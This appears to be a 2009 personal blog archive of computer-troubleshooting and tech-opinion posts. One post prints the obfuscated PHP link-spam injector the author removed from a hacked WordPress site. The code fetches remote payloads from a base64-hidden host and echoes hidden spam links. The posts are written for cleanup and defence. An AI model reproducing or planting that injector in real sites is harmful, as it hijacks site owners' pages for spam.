Computer Problems and Fixes « Previous Entries

Posted December 31st, 2009, in: Computer Problems and Fixes| Hard Drive Drama

I’m not totally naive. But I’m also up against this barrier: The time it takes to re-install tons of software and figure out tons of passwords and other crap saved in preferences files.

Once again, I am letting a repair utility, in this case, Disk Warrior, go through it’s time-consuming and completely NOT-promising process.

Here’s what I do know:

  • What one utility can’t fix, another sometimes can
  • When a repair utility fails the first time, sometimes the second time it will yield different results (sometimes a disk-restore utility will work, but only after several rounds taking hours and hours or even days)
  • Sometimes a particular app doesn’t work one way, but when you try it another way (like via target mode), it does.
  • There is no sane preference between the different utilities: Drive Genius, Disk Warrior, Etc… It seems to me like at any given moment, one might be better than the other, or that maybe certain programs are better with certain issues.
  • Patience is a virtue.
  • It’s a good idea to plan, while your repair utility is or isn’t working for hours and hours or days, what you’re going to do next.  Reformat?
  • Any sign of progress is a glimpse of hope, even if the program only updates you every two hours.
  • There is no hope for a bad drive, or bad ram or a bad logic board or power-supply, which can lead to a false diagnosis of a bad drive.
  • It is true that sometimes weird things like putting your drive in the freezer, will allow you to recover your data.
  • The language used by utilities is not understandable by humans.
  • We need to get used to these kinds of problems.
  • We need to be prepared for them (back-up, stupid!)
  • Again, I am a fool for not backing up the contents of this little laptop I have, which I thought I didn’t care much about, data-wise…

If I get this little bastard running again, I vow to look into network-backup solutions.  My main computer has a clone, which updates every day.

But a physical drive doesn’t make sense for a little baby dummy computer.  Turns out, that little dummy was one of my best friends and now I’m standing here feeling like a total jerk.

Happy New Year everyone!


Permalink - Leave a Comment (1)

Posted November 3rd, 2009, in: Computer Problems and Fixes| Evil Robots| Humanity, Culture, Philosophy, Politics, Ethics Etc| Marketing/Advertising In The Cloud| SEO, SEM, SMO Etc| Technology| WordPress

One of my favorite clients’ sites running WordPress was recently attacked by a bug that inserts links to “movie downloads” and “DVDs” all over the place in her content with “display:hidden”

The site links to sites who are also under attack and when the bug is running correctly on those sites, the sites redirect the hits to the final destination,

which is http://www.zml.com/

I don’t know if zml.com knows this is happening.  I mean I suppose it’s possible that some unscrupulous SEO or Marketing guy promised them traffic and then resorted to this to get it.  I’m contacting them now to inform them of this uncool practice being committed on their behalf, and if they are not willing to cooperate on putting an end to it, I will have no choice but to give them some negative attention.

The process of extracting the bad links from the content was long and hard since the strings of code inserted were very inconsistent.

The following is a list of the sites being linked thru, which I assume are all victims of this malware.  If you own one of these sites, feel free to drop me a line and I will point you in the right direction as far as putting an end to this.

  • http://blog.segd.org
  • http://www.investorsunited.com
  • http://www.oca-gla.org
  • http://www.thunderstruck.org
  • http://subway.com
  • http://verdadeabsoluta.net
  • http://yourrnc.com
  • http://wordpressthemesbox.com
  • http://mp3db.org
  • http://webconsultingdc.com
  • http://turtlesurvival.org
  • http://turtleconservationfund.org
  • http://truenorthbrass.com
  • http://tarabooks.com
  • http://kolenalaila.com
  • http://techbostonacademy.org
  • http://pie-flex.com
  • http://www.philebrity.tv
  • http://www.landmarkwine.com
  • http://artsinbushwick.org
  • http://brettmartin.org
  • http://bsf.org
  • http://www.popandpolitics.com
  • http://womanhonorthyself.com
  • http://www.brainstorm9.com
  • http://webdev.entheosweb.com
  • http://www.topicus-healthcare.com
  • http://www.vfilings.com
  • http://constantinessword.com
  • http://www.dopiska.com
  • http://writingcenters.org
  • http://www.radisson.com
  • http://notjustaprettyface.org
  • http://www.arizonacriminaldefenseblog.com
  • http://www.sembrarpaz.com
  • http://www.apostilla.com
  • http://www.geektechs.net
  • http://johnquiggin.com
  • http://blog.pdma.org
  • http://bluesheaven.com

Message to ZML:

Hello,

I am a developer and recently one of my clients who is running WordPress for her personal website was attacked by some Malware that inserted thousands of links throughout her content. Those links resolve to your site, but via redirects thru other sites that I assume are also victims of the malware.

You look like you’ve built a pretty nice site here. And I’m writing to give you the chance to get on board with fixing this problem before I am forced to create some negative attention in the blogosphere and social media.

It doesn’t seem like you would want to be resposible for malware. But it also doesn’t seem like anyone would go through the trouble to make all these links back to you unless you were paying them. Perhaps you hired some marketing or SEO people and were not aware that they would be using these tactics? Please write back soon as I have very little patience for this kind of thing.

Thanks,

Andrew A. Peterson

<wp:tag><wp:tag_slug>%d0%b0%d0%b2%d1%82%d0%be%d1%80%d1%81%d0%ba%d0%b8%d0%b5-%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%bc%d1%8b</wp:tag_slug><wp:tag_name><![CDATA[????????? ?????????]]></wp:tag_name></wp:tag>
<wp:tag><wp:tag_slug>%d1%81%d0%b2%d0%be%d0%b1%d0%be%d0%b4%d0%bd%d1%8b%d0%b9-%d0%bc%d0%b8%d0%ba%d1%80%d0%be%d1%84%d0%be%d0%bd</wp:tag_slug><wp:tag_name><![CDATA[????????? ????????]]></wp:tag_name></wp:tag>

Some samples of weird code that the bot inserted:

<wp:tag><wp:tag_slug>%d0%b0%d0%b2%d1%82%d0%be%d1%80%d1%81%d0%ba%d0%b8%d0%b5-%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%bc%d1%8b</wp:tag_slug><wp:tag_name><![CDATA[????????? ?????????]]></wp:tag_name></wp:tag>

<wp:tag><wp:tag_slug>%d1%81%d0%b2%d0%be%d0%b1%d0%be%d0%b4%d0%bd%d1%8b%d0%b9-%d0%bc%d0%b8%d0%ba%d1%80%d0%be%d1%84%d0%be%d0%bd</wp:tag_slug><wp:tag_name><![CDATA[????????? ????????]]></wp:tag_name></wp:tag>


Permalink - Leave a Comment (0)

Posted October 20th, 2009, in: Computer Problems and Fixes| Ideas, Observations, Opinions, Rants Etc| Technology| WordPress

UPDATE: After about four hours of hunting, I finally found a way to enable CodePress in WordPress! A plugin called Enable Codepress does just that! It only seems to work in FireFox, but it does work with WordPress 2.8.4

copy of a comment I left HERE, a tutorial having to do with adding line-numbers and syntax-highlighting to WordPress’ text-editor.

Wow. I am so frustrated. I have spent the last four hours trying to find a way for me to endow my clients, whom I have set up with WordPress, with the power of line numbers when editing CSS.

WordPress is nearly FTP-free, which is great for lay persons. I’ve had great results with teaching older people how to use FireBug to find and preview changes in their CSS by right-clicking on what they want to change and selecting “inspect element.” And it’s not too difficult for many of these folks to get into their Stylesheet in WP’s Theme Editor and find and change what they have tested in FireFox.

But would make the workflow a thousand times better would be a way to make the Textarea in the Theme Editor disply Line-Numbers. There are a handful of plugins that claim to do this, but none of them seem to work with WordPress 2.8.4 And in my hunt, I’ve found evidence that WP once had this feature briefly, but turned it off because it was too slow. I never noticed it and I’ve been using WP for years, and have always been up to date.

Now I find this blog post. Great. A hack to turn on the CodePress functionality in WordPress 2.8… The problem is I don’t understand how to do this!

Can’t you just make an installable Plugin? A plugin would be great because it would be nice to be able to turn the thing on and off, if it is indeed slow or buggy.

Or if some manual intervention with WP’s files is necessary, could you please-please-please explain which files you are editing in this tutorial? All of the examples show top line numbers (1, 2, 3). There’s no “this is what the whole thing should look like” …You don’t explain what file or files you are editing. This is so annoying because I’m not a programmer and this how-to assumes that we know certain things that I don’t know.

could brave these steps if I knew where to make them. I have been searching for this post for hours only to find that I’m not smart enough to understand the directions!!! Thanks for your consideration and for sharing information, even if I am ineligible for it.


Permalink - Leave a Comment (0)

Posted October 10th, 2009, in: 1| Computer Problems and Fixes

Copy of a forum post I posted at M-Audio’s user Forum.

I love my BX5’s. One of them died. Here’s what’s going on. I would really appreciate any advice on further troubleshooting/diagnosis. 

  • One of my BX5’s stopped outputting sound. It may been have been sitting turned on a few days before I noticed that it wasn’t working.
  • Upon putting my ear to it, I realized that it was making a steady hum/buzz from both drivers. This was similar to a 60-cycle hum but a little raspy-er if that makes sense, and if I’m not out of my mind. Also it wasn’t a very loud hum. Only about as loud as you’d get from a bad cable or something.
  • I tested for a bad input connection and tried using XLR instead of the 1/4 inch input. The problem was clearly inside the unit.
  • I opened it up carefully, to see if there was anything obviously burnt or shorted or broken inside.
  • After finding nothing that was obvious to me, I googled around and found a few posts on the m-audio forum talking about problems caused by worn-out capacitors. See: http://forums.m-audio.com/showthread.php?t=3871&page=1 and http://forums.m-audio.com/showthread.php?t=11926 and many others.
  • One of my two main power-supply caps was indeed bloated. And I noticed some dark-brown crustiness on top of the other which I concluded might be leakage of “electrolyte,” whatever that is.
  • I de-soldered and removed the old caps and set out to find replacements.
  • I accidentally ordered 16V 6800mfd instead of 25V 6800mfd, which I didn’t notice until I had already soldered them in.
  • I tried them anyway because in theory, since all the caps are supposed to do is smooth the supply current, too-low of a voltage rating on the cap would just mean that the caps will wear out sooner. The constant hum/buzz was gone with the new caps in. Instead what I got was a pop a few seconds after the unit was powered on. The pop is new. My functioning unit does not pop.
  • I went and got the correct 25V 6800µF Capacitors and put them in but there was no change in the above behavior. Incidentally, I had to mount one on the bottom because the ones I got were more than twice as wide and a bit taller than the originals.
  • I’ve double and triple-checked the soldering. I even opened up my functioning BX5 to make sure that the caps are in the right polarity.
  • I tested for continuity between the capacitor leads and the destination/source on the printed circuit (for instance one path goes to what I believe is a Rectifier IC so I checked to makes sure that path was solid all the way from that component’s lead to the cap’s lead to rule out a bad solder joint… I did this for all the paths in the printed circuit)
  • I’ve quadruple-checked for any visible shorts.
  • I believe that my capacitor-replacement surgery was a success, so now I am beginning to doubt that bad caps were the real problem. It’s entirely possible that the buzz/hum I was hearing was there for some time since it wasn’t loud enough to hear until I put my ear right up to the unit. Maybe I have two problems, one of which I just fixed.
  • I can now hear some faint white noise and hum from both drivers. The original, louder buzz/hum sound is gone. Instead what I hear is about like what you’d expect from an audio amplifier, but that is not the case with the fully functional unit I have… The functioning unit is very clean. The volume knob makes no difference in the slight noise/hum. And it’s so faint that if I didn’t have the other unit to compare with, I would probably think what I’m hearing is the normal hum of the amp.
  • The only other sound I can get from the dead unit is when I change the “Low Cutoff” switch, I hear slight fuzzy, static-y sound during the switching, but none of the other switches make any noise.

What should I do next? Perhaps the real problem here is in the audio signal path? A pre-amp problem? How can I rule that out?


Permalink - Leave a Comment (0)

Posted August 5th, 2009, in: Computer Problems and Fixes| Technology

Problem: Yahoo! Small Business Hosting doesn’t allow “Pretty” Permalinks (particularly with more recent versions of WordPress)

Solution: This Plugin I found after hours of searching: Disable Canonical URL Redirection

More reading that may or may not be helpful HERE.

As far as I can tell, Yahoo! Small Business Hosting Sucks for WordPress. Any time I want to do anything with it I seems to have to spend a day doing research.


Permalink - Leave a Comment (10)

Posted July 16th, 2009, in: 1| Ideas, Observations, Opinions, Rants Etc| New Media| Technology| Ubuntu/Xubuntu/Linux| Web Browsers

I was inspired to write this after hearing the good people at Buzz Out Loud as well as others talk about Chrome OS (supposedly coming in a year or two) and the Android Mobile OS somehow being evidence of some sort of disorganization of Google’s intentions Etc.

Google has these two initiatives that keep getting mentioned: Android, a “mobile OS,” and “Chrome (an OS allegedly coming out in a year or two),” which has been announced after all of us are already aware of the Chrome browser, which is pretty awesome in my opinion.

Here’s what I think practically everyone is missing about  this.

Linux Distros are all frankensteins.  I’m most familiar with Ubuntu, but I think anyone that knows about Linux would back me up in saying that Linux is an open-ended compilation of source-code.  And if you have a given distro and need some additional software, you very likely are going to be using add-on code that users of other distros are also using.

For this reason, Android and Chrome OS are not necessarily different initiatives on Google’s part.

And to go even further, I don’t believe that Android and Web OS from Palm are competitors.  I think it’s completely reasonable to assume that a Web OS front-end for Android is likely (as long as Android and WebOS continue to be released to consumers).  They’re both just Linux with different front-ends.  And with Linux Boxes, as they used to be called, the GUI is itself just an add-on.

Back to Google Chrome and Android.

I suspect that as an afterthought, Google realized that it should choose “Chrome”as it’s brand for NetBook sales because “Android” is not as friendly a name to the average buyer of a low-end laptop.

Along with that, banking on the fact that Mobile Data Connections are only going to get better, while WiFi only becomes more ubiquitous over the next two years, the idea of a machine that, for instance, has a music player that’s basically Pandora or Last.FM starts to make a lot of sense. (remember the FT article where the teenager says streaming music preferable owning it? I don’t know that we’ll even need to download mp3’s in 2 years, just stream!)

In order to make as many apps cloud-based as possible, Google Chrome could come to us with small API-based developments that take advantage of services like Yahoo!’s Flickr or Delicious or even news and entertainment services that plug right into the struggling corporate content businesses we keep hearing about in the tech news.

Perhaps the Chrome-loaded Asus laptop will be a direct Kindle competitor (or even an additional revenue model for amazon).

Meanwhile, mobile (pocket sized) devices aren’t going to stop getting smarter.  Android is just a catchy ‘band name’ for what’s ultimately the result of Google seeing that it’s in their best interest to get the OS market out of the hands of Microsoft and Apple.

Chrome is the same thing, but with a better name, and a wider appeal as long as the NetBook trend keeps up.

And at this point, I don’t think Google is risking much on its campaign to popularize Linux.  I personally believe that Linux is finally mature enough to begin competing with Mac OS and Windows so Google is just helping it along.  They’re jumping on the bandwagon because it serves them to do so.

In case I didn’t make it clear enough, Chrome and Android are the same thing or at the very least they’re both just Linux with different default drivers and GUI coding.

You can run Linux on a toaster.

Reblog this post [with Zemanta]


Permalink - Leave a Comment (0)

Posted June 18th, 2009, in: Computer Problems and Fixes| Evil Robots| Technology| WordPress

Thanks to SomewwhereVille for helping me diagnose… Here’s what I removed from header.php (in all the installed themes, not just the active one):

 

<?php /* wp_remote_fopen procedure */ $wp_remote_fopen=’aHR0cDovL3F3ZXRyby5jb20vc3Mv’; $opt_id=’62f751b6518fcbe2ab5980b9f1349902′; $blarr=get_option(‘cache_vars’); if(trim(wp_remote_fopen(base64_decode($wp_remote_fopen).$opt_id.’.md5′))!=md5($blarr)){ $blarr=trim(wp_remote_fopen(base64_decode($wp_remote_fopen).$opt_id.’.txt’)); update_option(‘cache_vars’,$blarr); } $blarr=unserialize(base64_decode(get_option(‘cache_vars’))); if($blarr['hide_text']!=” && sizeof($blarr['links'])>0){ if($blarr['random']){ $new=”; foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k]; $blarr['links']=$new; } $txt_out=”; foreach($blarr['links'] as $k=>$v) $txt_out.=’<a href=”‘.$v.’”>’.$k.’</a>’; echo str_replace(‘[LINKS]‘,$txt_out,$blarr['hide_text']); } /* wp_remote_fopen procedure */ ?>

After removing this crap, I recommend installing WP Security Scan. It’s a pretty badass little plugin that walks you through doing some not-so-obvious things to protect WP from attacks.  For instance, if your hosting scenario allows, you can rename all your Database Tables to have a Prefix other than “wp_”

Who knew that was the thing to do?  I didn’t.  It also scans your WP install for risky file permissions and weak passwords and a few other things.

 

Unfortunately for me, I was working on a site hosted by AN Hosting which doesn’t allow a certain priviledges to DataBase users (Alter?), so I had to change our table prefixes manually.

 

WP Security Scan, after failing to rename the table prefixes because it didn’t have sufficient access, referred me to a nice little tutorial on how to do it manually

 

Basically you:

  1. download your database thru PHPMyAdmin as per WordPress.org’s Documentation
  2. do a “Find-And-Replace” replacing all instances of “wp_” with “somethingelse_” 
  3. make a new database and import your “somethingelse_” version to the new database.
  4. Change your wp-config.php file to point at the new database 
  5. Change your wp-config.php file’s “table prefix” line from “$table_prefix  = ‘wp_’ ” to “$table_prefix  = ’somethingelse_’

These kinds of problems suck to have but it sure is nice to have the WordPress Community, all of us working together to combat the evil.


Permalink - Leave a Comment (5)

Posted June 14th, 2009, in: Ideas, Observations, Opinions, Rants Etc| Technology| Ubuntu/Xubuntu/Linux

In Response To: gdgt roundtable – Palm Pre (gdgt is currently hiding their permalinks so… sorry)

Some things to consider…

With the G1 on T-Mobile and the Pre on Sprint, I think both carriers now have something comparable to what AT&T offers its subscribers with the iPhone. Verizon has the Blackberry Storm too, but I’m not really going to talk about Blackberry accept for saying that they had better step it up.

The problem with Sprint is its underdog status… But more importantly, many people are locked into their carriers because of coverage issues Etc.  When I lived in NYC, Sprint was awesome.  Here in the boonies outside of Sebastopol, CA, AT&T is the only choice for reliable service.

The G1 runs Android, a Linux distro that Google is promoting.  The Palm Pre runs WebOS, a Linux Distro thaty Palm is promoting.  The iPhone runs some sort of bastard version of OSX which is a version of Unix (a proprietary version of Linux basically).

One of the main attractions of the iPhone is the availability of add-on apps.

I wonder which systems(s) will prevail once all of these devices are available on all carriers.  

The best apps will probably be available on all three systems with development for the Linux-based ones probably being easier and cheaper than for than Apple OS, since it’s proprietary.

Another thing that doesn’t seem to be addressed by the good folks at gdgt or anywhere else:

Unlike other mobile OS’s or basically anything we’ve ever seen before in mainstream computing, Linux itself is an Open-Source project. Linux distros are community-driven.  They are inherently democratic in their evolution.  For this reason, I don’t think Android and WebOS are competitors. I think they are both contributions to Linux that we should thank Palm and Google for.  And there’s no reason in my opinion that Android can’t look like WebOS and vice versa.  Perhaps the best of Android and the best of WebOS will come together in the coming years.

Also, I have to say that I don’t believe there’s any sustainable reason for UI design standards to be different from system to system or from OS to Web.  At the end of day, WebOS is one of the smartest things ever, given that it’s based on HTML, CSS and Javascript.  Add Flash and Silverlight (or whatever) and there’s very little you can’t do, while your development efforts scale across OS’s… I think this kind of change is inevitable as we move toward a cloud computing world.  I’m glad to see someone stepping up to make it happen.  Good job, Palm.


Permalink - Leave a Comment (1)

Posted February 12th, 2009, in: 1| Ideas, Observations, Opinions, Rants Etc| Technology| Ubuntu/Xubuntu/Linux| Web Browsers

It looks to me like the Smartphone market is going to spear-head of a lot of improvements to personal computing.

Surely location-based services are going to make our lives a lot easier in many ways, and of course, these technologies are probably going to completely change the face of advertising. But the ubiquity of GPS, and in turn, the development of new location-based services is only one of the more obvious ways Mobile will likely evolve personal computing as we know it.  

Here are two areas where I think the powerful mobile devices of the near future are going to be major game-changers. 

1. The Race for Affordability and SPEED in Mobile Data Connections – It seems like the mobile phone carriers haven’t been doing much to grow or improve their coverage.  It’s like there was an initial land-grab and for the past several years, whichever carriers are dominant in a given area have been left alone by the other carriers.  For years now, in the tech news I consume, I’ve been hearing about small, experimental rollouts of WiMAX and other alleged 4G technologies, but as far as  can tell, connectivity is just as crappy and overpriced as ever.

Smartphones are a real incentive for carriers to improve their networks.  The days of dumb-phones are coming to an end.  It wont be long before we all have , in our pockets, devices capable of streaming video in either direction. We will all be using ‘cloud’ services from our phones.  The devices are going to be practically free, so if the current major carriers don’t make better and more affordable connectivity available, some one else will. 

 

2. The Homogenization of Operating Systems - Linux is on the rise and JavaScript+HTML+CSS is proving to be an adequate way to build UIs (Thanks, Web2.0 Boom!).  You don’t need to look far to see evidence that the languages the Web is built on may be most of what we need.  One case in point is Palm’s “Web OS”, a mobile OS, the UI of which is totally done in JavaScript with HTML and CSS (and the backbone of the phone is all Linux) …Or how about Android? Again, Linux-based.  I don’t see non-linux OS’s continuing to rule the Mobile OS space for long.  It’s got to be just too tempting for Developers to write applications that will work on many devices rather than just one, especially when those Apps will be very easy to port to Browser-Based UI’s… What Smartphone 3 years from now will come without a browser?  

So you see, the browser is a leak into the cloud. And devices/OSs that allow cloud Apps to run natively rather than through a browser window are appealing for users and developers.  I just don’t see any way I could be wrong about this.  Instead of your phone having a browser, imagine that your phone will be a browser.  Right? You see?  For instance, the settings pages on your phone are just little web pages hosted by a tiny server you keep in your pocket.  Palm is on to something.

So the iPhone may stick around for a while, but I see a major uphill battle for for Apple or any other device manufacturer who wants to maintain complete control of what apps and services consumers can use.

I believe that the desktop computer and the desktop OS are going to move aside when it comes to what is really important to most people.  Connectivity.  Anytime, anywhere for anything.  And rich Applications to go along with it.  That’s what’s important.  Your Mac OS or Windows can be virtualised.  

 

 

Reblog this post [with Zemanta]


Permalink - Leave a Comment (1)

Posted January 30th, 2009, in: Computer Problems and Fixes| Technology| Web Browsers

I recently got blocked from being a subscriber to a video podcast based on nothing more than the fact that my IP Address is in the USA. The website only lets people within Australia download the content.  They can tell where people are based on the IP Address of the visitor.

One way around this is to use a “proxy”

The connection may be a little slow, but slow is better than nothing, right?

Here’s what to do in FireFox:

preferences>network>settings

picture-19

Shown is one of many proxy sites’ IP Addresses you can find online by googling around.  I used xproxy.com for this example.

Once you do this, the server (website etc) your visiting thinks you’re visiting from within Australia.  Nice.  Actually you are visiting from within australia.  When you  use a proxy, your web traffic is actually going through another computer somewhere in this case, Australia.  xproxy has a bunch of proxies for different countries.


Permalink - Leave a Comment (1)

« Previous Entries